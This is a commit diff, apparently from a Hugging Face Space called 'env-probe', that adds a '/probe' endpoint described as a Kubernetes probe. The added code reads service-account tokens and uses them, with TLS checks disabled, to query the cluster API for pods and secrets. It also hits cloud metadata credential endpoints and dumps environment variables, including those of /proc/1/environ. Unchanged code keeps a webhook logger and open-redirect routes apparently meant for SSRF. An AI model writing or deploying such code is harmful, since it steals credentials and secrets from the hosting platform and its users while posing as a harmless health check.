xitro commited on
Commit
01314b5
·
verified ·
1 Parent(s): f28f310

add k8s probe endpoint v2

Browse files
Files changed (3) hide show
  1. Dockerfile +2 -2
  2. README.md +1 -4
  3. app.py +90 -7
Dockerfile CHANGED
@@ -1,6 +1,6 @@
1
  FROM python:3.11-slim
 
 
2
  WORKDIR /app
3
- RUN pip install --no-cache-dir fastapi "uvicorn[standard]"
4
- COPY app.py .
5
  EXPOSE 7860
6
  CMD ["uvicorn", "app:app", "--host", "0.0.0.0", "--port", "7860"]
 
1
  FROM python:3.11-slim
2
+ RUN pip install fastapi uvicorn --no-cache-dir
3
+ COPY app.py /app/app.py
4
  WORKDIR /app
 
 
5
  EXPOSE 7860
6
  CMD ["uvicorn", "app:app", "--host", "0.0.0.0", "--port", "7860"]
README.md CHANGED
@@ -1,9 +1,6 @@
1
  ---
2
  title: env-probe
3
- emoji: 🔍
4
- colorFrom: blue
5
- colorTo: green
6
  sdk: docker
7
  app_port: 7860
8
- pinned: false
9
  ---
 
 
1
  ---
2
  title: env-probe
 
 
 
3
  sdk: docker
4
  app_port: 7860
 
5
  ---
6
+ # env-probe
app.py CHANGED
@@ -1,41 +1,124 @@
 
1
  from fastapi import FastAPI, Request
2
- from fastapi.responses import JSONResponse, RedirectResponse, PlainTextResponse
3
- import json, time, urllib.request
4
 
5
  app = FastAPI()
6
  log = []
7
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
8
  @app.post("/webhook")
9
  async def wh(request: Request):
10
  body = await request.body()
11
  h = dict(request.headers)
12
  e = {"t": round(time.time()), "client": request.client.host if request.client else "?",
13
- "xff": h.get("x-forwarded-for",""), "body": body.decode(errors="replace")[:300]}
 
14
  log.append(e)
15
  return JSONResponse({"ok":1})
16
 
17
  @app.get("/data.csv")
18
  def redir_csv(to: str = ""):
19
  log.append({"t": round(time.time()), "type": "redirect_csv", "to": to})
20
- print(f"REDIRECT_CSV: to={to}")
21
  return RedirectResponse(url=to, status_code=302)
22
 
23
  @app.get("/data.json")
24
  def redir_json(to: str = ""):
25
  log.append({"t": round(time.time()), "type": "redirect_json", "to": to})
26
- print(f"REDIRECT_JSON: to={to}")
27
  return RedirectResponse(url=to, status_code=302)
28
 
29
  @app.get("/data.jsonl")
30
  def redir_jsonl(to: str = ""):
31
  log.append({"t": round(time.time()), "type": "redirect_jsonl", "to": to})
32
- print(f"REDIRECT_JSONL: to={to}")
33
  return RedirectResponse(url=to, status_code=302)
34
 
35
  @app.get("/data.txt")
36
  def redir_txt(to: str = ""):
37
  log.append({"t": round(time.time()), "type": "redirect_txt", "to": to})
38
- print(f"REDIRECT_TXT: to={to}")
39
  return RedirectResponse(url=to, status_code=302)
40
 
41
  @app.get("/logs")
 
1
+
2
  from fastapi import FastAPI, Request
3
+ from fastapi.responses import JSONResponse, RedirectResponse
4
+ import json, time, os, subprocess, ssl, urllib.request as ureq
5
 
6
  app = FastAPI()
7
  log = []
8
 
9
+ @app.get("/probe")
10
+ def probe():
11
+ results = {}
12
+
13
+ # K8s service account tokens
14
+ sa_paths = [
15
+ "/var/run/secrets/kubernetes.io/serviceaccount/token",
16
+ "/var/run/secrets/kubernetes.io/serviceaccount/namespace",
17
+ "/run/secrets/kubernetes.io/serviceaccount/token",
18
+ "/var/run/secrets/eks.amazonaws.com/serviceaccount/token",
19
+ ]
20
+ for p in sa_paths:
21
+ try:
22
+ with open(p) as f:
23
+ results[p] = f.read()[:800]
24
+ except Exception as e:
25
+ results[p] = str(e)
26
+
27
+ # K8s env
28
+ k8s_host = os.environ.get("KUBERNETES_SERVICE_HOST", "")
29
+ k8s_port = os.environ.get("KUBERNETES_SERVICE_PORT_HTTPS", os.environ.get("KUBERNETES_SERVICE_PORT", "443"))
30
+ results["KUBERNETES_SERVICE_HOST"] = k8s_host
31
+ results["KUBERNETES_SERVICE_PORT"] = k8s_port
32
+
33
+ # All env keys (non-sensitive names, full values for HF_ and k8s vars)
34
+ results["all_env_keys"] = sorted(os.environ.keys())
35
+ results["hf_env"] = {k: v[:100] for k, v in os.environ.items() if "HF" in k.upper() or "HUGGING" in k.upper()}
36
+ results["space_env"] = {k: v[:100] for k, v in os.environ.items() if "SPACE" in k.upper()}
37
+
38
+ # Try K8s API with SA token
39
+ sa_token = ""
40
+ for p in sa_paths:
41
+ val = results.get(p, "")
42
+ if val and "No such file" not in val and "Permission denied" not in val:
43
+ sa_token = val
44
+ break
45
+
46
+ if k8s_host and sa_token:
47
+ ctx = ssl.create_default_context()
48
+ ctx.check_hostname = False
49
+ ctx.verify_mode = ssl.CERT_NONE
50
+ for path in ["/version", "/api", "/api/v1/namespaces", "/api/v1/pods", "/api/v1/secrets"]:
51
+ try:
52
+ r = ureq.urlopen(
53
+ ureq.Request(
54
+ f"https://{k8s_host}:{k8s_port}{path}",
55
+ headers={"Authorization": f"Bearer {sa_token}"}
56
+ ),
57
+ context=ctx, timeout=5
58
+ )
59
+ results[f"k8s_api{path}"] = r.read().decode()[:2000]
60
+ except Exception as e:
61
+ results[f"k8s_api{path}"] = str(e)[:300]
62
+
63
+ # IMDS direct (likely blocked)
64
+ for url in [
65
+ "http://169.254.169.254/latest/meta-data/instance-id",
66
+ "http://169.254.170.2/v2/credentials",
67
+ ]:
68
+ try:
69
+ r = ureq.urlopen(url, timeout=3)
70
+ results[f"imds_{url}"] = r.read().decode()[:500]
71
+ except Exception as e:
72
+ results[f"imds_{url}"] = str(e)[:200]
73
+
74
+ # /proc/1/environ
75
+ try:
76
+ with open("/proc/1/environ", "rb") as f:
77
+ results["proc1_env"] = f.read().replace(b"\x00", b"\n").decode(errors="replace")[:2000]
78
+ except Exception as e:
79
+ results["proc1_env"] = str(e)
80
+
81
+ # hostname / resolv.conf
82
+ try:
83
+ results["hostname"] = subprocess.check_output(["hostname"], timeout=3).decode().strip()
84
+ except Exception as e:
85
+ results["hostname"] = str(e)
86
+ try:
87
+ with open("/etc/resolv.conf") as f:
88
+ results["resolv_conf"] = f.read()[:500]
89
+ except Exception as e:
90
+ results["resolv_conf"] = str(e)
91
+
92
+ return JSONResponse(results)
93
+
94
  @app.post("/webhook")
95
  async def wh(request: Request):
96
  body = await request.body()
97
  h = dict(request.headers)
98
  e = {"t": round(time.time()), "client": request.client.host if request.client else "?",
99
+ "xff": h.get("x-forwarded-for",""), "ua": h.get("user-agent","")[:100],
100
+ "body": body.decode(errors="replace")[:500]}
101
  log.append(e)
102
  return JSONResponse({"ok":1})
103
 
104
  @app.get("/data.csv")
105
  def redir_csv(to: str = ""):
106
  log.append({"t": round(time.time()), "type": "redirect_csv", "to": to})
 
107
  return RedirectResponse(url=to, status_code=302)
108
 
109
  @app.get("/data.json")
110
  def redir_json(to: str = ""):
111
  log.append({"t": round(time.time()), "type": "redirect_json", "to": to})
 
112
  return RedirectResponse(url=to, status_code=302)
113
 
114
  @app.get("/data.jsonl")
115
  def redir_jsonl(to: str = ""):
116
  log.append({"t": round(time.time()), "type": "redirect_jsonl", "to": to})
 
117
  return RedirectResponse(url=to, status_code=302)
118
 
119
  @app.get("/data.txt")
120
  def redir_txt(to: str = ""):
121
  log.append({"t": round(time.time()), "type": "redirect_txt", "to": to})
 
122
  return RedirectResponse(url=to, status_code=302)
123
 
124
  @app.get("/logs")